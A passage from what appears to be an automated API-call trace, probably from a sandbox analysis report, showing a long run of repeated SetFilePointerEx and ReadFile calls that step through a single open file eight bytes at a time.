lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.559] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.559] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.559] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.559] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.560] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.560] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.560] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.560] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.560] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.560] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.560] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.560] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.560] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.560] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.560] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.560] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.560] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.560] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.561] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.561] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.561] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.561] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.561] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.561] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.561] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.561] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.561] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.561] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.561] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.561] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.561] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.561] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.562] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.562] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.562] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.562] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.562] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.562] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.562] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.562] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.562] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.562] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.562] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.562] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.562] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.562] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.563] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.563] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.563] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.563] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.563] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.563] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.563] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.563] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.563] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.563] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.563] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.563] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.563] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.563] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.563] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.564] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.564] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.564] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.564] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.564] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.564] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.564] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.564] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.564] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.564] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.564] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.564] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.564] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.564] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.564] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.565] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.565] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.565] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.565] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.565] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.565] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.565] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.565] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.565] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.565] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x268, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.565] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.565] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.565] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x270, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.565] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.566] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.566] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x278, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.566] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.566] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.566] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.566] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.566] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.566] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x288, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.566] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.566] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.566] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x290, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.566] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.566] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.567] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x298, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.567] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.567] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.567] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2a0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.568] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.568] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.568] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2a8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.568] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.568] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.568] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2b0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.568] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.568] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.568] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2b8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.568] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.568] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.568] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2c0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.568] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.568] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.569] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2c8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.569] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.569] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.569] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2d0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.569] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.569] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.569] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.569] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.569] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, lpNumberOfBytesRead=0x4acdac*=0x1000, lpOverlapped=0x0) returned 1 [0068.569] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.569] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0068.569] ReadFile (in: hFile=0x1f4, lpBuffer=0x55c618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x55c618*, 